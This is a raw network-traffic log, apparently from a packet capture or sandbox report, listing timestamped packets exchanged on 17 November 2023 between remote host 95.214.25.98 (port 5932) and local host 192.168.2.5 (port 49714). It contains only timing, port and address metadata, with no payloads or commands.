Nov 17, 2023 06:23:08.444948912 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.444967031 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.444986105 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.446042061 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.446059942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.446083069 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.447165012 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.447182894 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.447206974 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.448323011 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.448342085 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.448365927 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.449398994 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.449423075 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.449453115 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.450525045 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.450560093 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.450572014 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.451647043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.451693058 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.451694012 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.452747107 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.452775955 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.452792883 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.453875065 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.453893900 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.453922033 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.454988003 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.455033064 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.455039024 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.456139088 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.456156969 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.456185102 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.457273960 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.457293987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.457319975 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.458398104 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.458415985 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.458442926 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.459475994 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.459496021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.459525108 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.460596085 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.460613966 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.460640907 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.461735010 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.461754084 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.461779118 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.462877989 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.462894917 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.462917089 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.463952065 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.463998079 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.464010954 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.465082884 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.465101004 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.465120077 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.466207027 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.466224909 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.466250896 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.467303038 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.467323065 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.467345953 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.468415976 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.468434095 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.468465090 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.469480991 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.469530106 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.469533920 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.470643044 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.470660925 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.470689058 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.471760988 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.471793890 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.471807003 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.472897053 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.472914934 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.472942114 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.474029064 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.474066019 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.474096060 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.475116014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.475135088 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.475162983 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.476284027 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.476309061 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.476329088 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.477427006 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.477446079 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.477473974 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.478681087 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.478725910 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.478732109 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.479593039 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.479614019 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.479635954 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.480719090 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.480736971 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.480766058 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.481770039 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.481810093 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.481846094 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.482968092 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.482986927 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.483010054 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.484041929 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.484078884 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.484100103 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.485227108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.485261917 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.485268116 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.486304045 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.486341000 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.486367941 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.487446070 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.487463951 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.487487078 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.488527060 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.488544941 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.488564968 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.489703894 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.489721060 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.489742041 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.490783930 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.490802050 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.490823984 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.491852999 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.491871119 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.491889954 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.492995977 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.493014097 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.493033886 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.494121075 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.494158030 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.494182110 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.495305061 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.495322943 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.495345116 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.496397018 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.496417046 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.496436119 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.497529030 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.497546911 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.497567892 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.498543024 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.498578072 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.498584032 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.499691010 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.499707937 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.499727964 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.500821114 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.500839949 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.500860929 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.501936913 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.501955032 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.501976013 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.503015995 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.503058910 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.503058910 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.504149914 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.504188061 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.504209995 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.505289078 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.505309105 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.505327940 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.506416082 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.506433010 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.506453991 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.507447958 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.507466078 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.507493019 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.508533955 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.508552074 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.508572102 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.509656906 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.509675026 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.509694099 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.510694981 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.510713100 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.510732889 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.511774063 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.511792898 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.511811018 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.512799025 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.512816906 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.512845039 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.513885021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.513902903 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.513931990 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.514911890 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.514950037 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.514981985 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.515950918 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.515969038 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.515994072 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.516982079 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.517000914 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.517029047 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.518014908 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.518034935 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.518057108 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.519036055 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.519076109 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.519082069 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.520020008 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.520039082 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.520061970 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.521027088 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.521048069 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.521066904 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.521989107 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.522027969 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.522031069 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.523082972 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.523099899 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.523121119 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.524005890 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.524024010 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.524044991 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.525043964 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.525082111 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.525104046 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.525975943 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.525995016 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.526016951 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.526962042 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.526981115 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.527008057 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.527942896 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.527961016 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.527985096 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.528877020 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.528911114 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.528928041 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.529901981 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.529921055 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.529941082 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.530792952 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.530826092 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.530848980 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.531748056 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.531765938 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.531801939 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.532721043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.532738924 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.532771111 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.533655882 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.533674955 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.533705950 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.534583092 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.534600019 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.534696102 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.535517931 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.535561085 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.535563946 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.536447048 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.536463976 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.536485910 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.537369967 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.537388086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.537411928 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.538314104 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.538332939 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.538367033 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.539248943 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.539305925 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.539328098 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.540091038 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.540117979 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.540138006 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.541011095 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.541043997 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.541064024 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.541975021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.541996002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.542021990 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.542831898 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.542853117 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.542882919 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.543714046 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.543740034 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.543768883 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.544651031 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.544670105 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.544694901 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.545485973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.545527935 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.545556068 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.546371937 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.546408892 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.546416998 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.547262907 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.547282934 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.547323942 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.548120975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.548173904 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.548176050 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.549042940 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.549065113 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.549097061 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.549920082 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.549941063 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.549967051 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.550759077 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.550777912 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.550813913 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.551606894 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.551625013 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.551656008 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.552529097 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.552546978 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.552862883 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.553349972 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.553368092 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.553400040 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.554184914 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.554234982 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.554235935 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.555020094 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.555074930 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.555079937 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.555835962 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.555877924 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.555912018 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.556708097 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.556725979 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.556761026 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.557593107 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.557610989 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.557656050 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.558355093 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.558394909 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.558410883 CET	49714	5932	192.168.2.5	95.214.25.98
